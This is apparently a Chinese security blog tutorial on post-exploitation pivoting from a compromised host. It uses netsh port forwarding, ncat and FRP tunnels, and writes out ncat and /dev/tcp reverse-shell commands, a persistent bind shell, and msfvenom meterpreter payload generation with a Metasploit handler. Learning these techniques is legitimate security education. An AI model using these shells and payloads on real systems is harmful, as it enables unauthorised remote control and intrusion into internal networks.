点击蓝字,关注我们
阅读时长:15min
附件/链接:点击查看原文下载
声明:请勿用作违法用途,否则后果自负
本文属于WgpSec原创奖励计划,未经许可禁止转载
上篇文章我写了信息收集,我想干脆直接写一整套关于渗透的技巧,常规的思路是:信息收集-->漏洞挖掘-->后渗透阶段,因为漏洞挖掘的方向实在太多,我就先把后渗透的讲一讲,考虑到大家都是在初步学习的阶段,所以从内网转发开始讲起
内网的概念
我们在渗透的时候,经过前期的漏洞挖掘得到了一个简单的webshell,那么我们就得到了一台主机的权限,想要扩大我们的成果,就需要进行后渗透,也就是内网的漫游,那么如何让一台内网主机转发出来,我们就可以使用下面的一些穿透工具
常见的内网穿透工具
windows、liunx中的转发工具
-
lcx.exe
lcx是windos下的转发工具,他的功能有
-
端口转发(listen‘和slave成对使用)
-
端口映射(tran)
-
netsh netsh就是networkShell,他是一个windows下的一个网络配置shell
-
porttmap liunx下的代理
-
iptables liunx的代理
netsh的基本使用(需要有admin权限)
-
使用下面的命令开启端口转发:
netsh interface portproxy add v4tov4 listenaddress=192.168.101.107 listenport=14941 connectaddress=192.168.101.106 connectport=1494
其中listenaddress
是我们监听的地址
listenport
是监听端口
connectaddress
是链接地址
除了这条还可以这么写:
netsh interface portproxy add v4tov4 listenport=14941 connectaddress=192.168.101.106 connectport=1494
-
使用下面命令进行查看端口
> netsh interface portproxy show v4tov4
-
取消端口转发
netsh interface portproxy delete v4tov4 listenaddress=192.168.101.107 listenport=14941
与之相对应的就是iptables
常见的内网转发工具
Ncat
nc被誉为网络安全界的瑞士军刀,一个简单而有用的工具,透过使用TCP或UDP协议的网络连接去读写数据,所以我么可以用它作为内网穿透的基本工具,
ncat
这是netcat的比较新的现代版本,不使用原始的netcat代码。ncat的作者是着名的Nmap程序的作者。ncat几乎重复了原始程序的所有功能,并包含其他功能。一般的服务器自带的都是默认的ncat。目前ncat已经集成到了nmap里面,安装完nmap后就可以使用ncat
命令了
基本使用
这里我用我的两台服务器进行演示,服务器一般是没有firewall
这个服务器的,需要安装一下yum install firewalld
,因为要打开端口,当然也可使用安全组规则进行设置,会比较麻烦。
ncat -l XXX
监听某个端口,在这之前需要把本地的端口打开最好,打开服务器端口的命令为:
查看防火墙状态:firewall-cmd --state
启动防火墙: systemctl start firewalld
关闭防火墙: systemctl stop firewalld
防火墙开机自启动: systemctl enable firewalld.service
打开单个端口:firewall-cmd --zone=public --add-port=80/tcp --permanent
打开多个端口:firewall-cmd --zone=public --add-port=20000-29999/tcp --permanent
--permanent 为永久生效,不加为单次有效(重启失效)
重载端口:firewall-cmd --reload
查看端口打开的列表:firewall-cmd --list-ports
取消某个端口:firewall-cmd --zone=public --remove-port=9200/tcp --permanent
比如我现在打开66端口:
使用ncat -l
进行监听端口:
-v 是输出详细信息,现在使用另外一个服务器连接他:
这样就连接成功了,那么再来试试通信:
到此我们就完成了一次数据的通讯。
命令交互
仅仅是这样还不能看出nc的强大,作为一个转发工具,当然他也能进行命令的交互,我们可以使用下面的命令进行操作:
在被监听的服务器上查看可以使用的bash:cat /etc/shells
前面三个都是默认的bash,但是我喜欢zsh,我就把zsh导出去(虽然没啥意义):ncat -l -e /bin/bash 端口
输入命令就能得到shell,但是这里有个问题是什么呢,当我们客户端断开链接的时候,服务端也会断掉:
所以我们可以使用下面的命令进行持久化,就算客户端断开,服务端任然运行:
ncat -lk -e /bin/bash 端口
-k
是指持久化命令
我连续断开,服务器的服务仍然没有断
上面都是外网的shell,那如何把内网机器的shell弹出去呢?首先在外网的机器监听一下端口,然后内网连接的时候把自己的bahs转发出去就可以了:
ncat -lvk 59 # 服务端监听端口
ncat -v -e /bin/bash IP Port # (liunx下) 客户端连接服务端,把自己的shell发送出去
ncat -v -e cmd.exe IP Port # (win下)客户端连接服务端,把自己的cmd发送出去
win下
liunx下
输入ifconfig就可以查看到内容,说明客户端的shell转发出去了。
要是自带的mc不能使用-e
的参数的话,我们就可以使用下面 的参数就行反弹shell:
ncat -lvk 59 # 服务端监听端口
bash -i >& /dev/tcp/IP/Port 0>&1 # 这条命令和上面的命令是一样的,只是换了个样子
这样就把shell反弹出去了
命令 | 参数解释 |
---|---|
bash -i | bash环境生成 |
>& | 将联合符号前面的内容与后面结合然后一起重定向给后者 |
/dev/tcp/IP/Port | 让目标主机与主机IP 的port 端口建立一个连接 |
0>&1 | 将标准的输入与标准输出内容相结合,然后重定向给前面的标准输出内容 |
传输文件
ncat -lvk 59 < hello.txt # 服务器端打开端口,并传输一个hello.txt文件
ncat -v IP port > hello.txt # 客户端连接服务端并且接收hello.txt文件
传输完成以后,不会显示任何东西,并且链接是不会断的:
这就是基本的ncat的使用,接下来我们看看Frp的基本使用:
FRP
Fast Reverse Proxy。FRP 是一个使用 Go 语言开发的高性能的反向代理应用,可以帮助您轻松地进行内网穿透,对外网提供服务。FRP 支持 TCP、UDP、HTTP、HTTPS等协议类型,并且支持 Web 服务根据域名进行路由转发。
所以我们可以使用frp将我们在内网的机器转发出去,基本上和上面 nc的实现原理是一样的,这里我使用frp来把我在内网的kali
转发到外网,并且使用我们最常听到的反弹MSF shell
进行操作:
首先下载frp的安装包,GitHub链接
然后上传的我们的服务器上,解压完成后可以看到下面的文件夹:
服务端配置
frp也分为服务端和客户端,在远程的服务器上我们进行服务端的配置,其中的frps.ini
是服务端的配置文件,打开基本如下:
[common] # 名字
bind_port = port # frp的服务端和客户端连接的端口
dashboard_port = port # 可视化监控平台的端口,访问这个端口会得到一个网页版的监控
dashboard_user = admin # 网页版的登录账号
dashboard_pwd = admin # 网页版的登录密码
上面配置好了以后我们就可以保存,然后使用./frps -c frps.ini
运行,-c是指运行的配置文件,当然可以不用写,因为默认也会读这个,但是以后多了以后就需要选择不同的配置文件了:
客户端配置
现在我们配置kali,让在内网的kali,也能使用公网的IP进行访问,客户端的配置文件为frpc.ini
,打开有如下:
1 [common]
2 server_addr = X.X.X.X # 服务器IP
3 server_port = 55 # 通信端口
4
5 [ssh] # 配置ssh登录
6 type = tcp # 连接方式为TCP的方式
7 local_ip = 127.0.0.1 # 讲本地的IP映射出去
8 local_port = 22 # 本地的端口为22
9 remote_port = 56 # 映射的端口为56
10 use_compression = true
11
12 [msf] # 配置msf的监听
13 type = tcp # 连接方式
14 local_ip = 127.0.0.1 # 本地IP
15 local_port = 1234 # 监听本地的端口为
16 remote_port = 57 # 映射的端口为57
~
我们拿ssh服务来作位模板,首先**[ssh]** 是设置一个名字,方便我们以后修改,type是连接方式,然后local_ip是你要监听的内网主机IP,如果你的内网还有其他的主机,也可以设置成他的IP,这里是使用127.0.0.1,也就是本地的IP;local_port 是指需要转发出去的端口,然后remote_port是服务器的端口,也就是我们22端口映射到56。配置好以后我们开始操作,在内网的kali上运行:./frpc -c frpc.ini
:
先访问一下frp的web管理页面:
登录:
在这个页面可以观察到流量的情况,然后我们使用外网的IP登录kali:
登录的端口为56,现在我们成功将kali转发到外网了,甚至打开了msf:
msf反弹shell
使用过msf的同学应该知道,我门在使用payload的时候需要配置监听端口,上面我们配置的时候就配置了一个叫MSF的配置文件,监听的端口为本地的1234,转发的端口为57,所以payload的配置如下:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=外网IP LPORT=外网端口 -f exe > test.exe
生成shell:
打开msf进行配置:
use exploit/multi/handler # 使用use
set PAYLOAD windows/x64/meterpreter/reverse_tcp # 设置payload的配置
set LHOST 127.0.0.1 # 设置监听IP
set LPORT 1234 # 设置监听端口,因为我们转发出去了,所以刚刚刚刚设置的时候,使用的是57端口
然后使用一个服务器用来连接我们的shell:
运行以后得到shell:
可以看出我们已经是system的权限了。
按照上面的方法我们可以把内网的任意一台机器转发到公网上,只要将对应的端口映射到服务器上就可以了,这就是内网转发的一些知识,下篇文章会讲解如何进行内网的信息收集,和CS的操作!
平台邀请码:BE017F6C035BC19F5241A97CC0C10924
扫描关注公众号回复加群,和师傅们一起讨论研究~
扫码关注我们
微信号:wgpsec
Twitter:@wgpsec
分享、在看与点赞,至少我要拥有一个吧
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论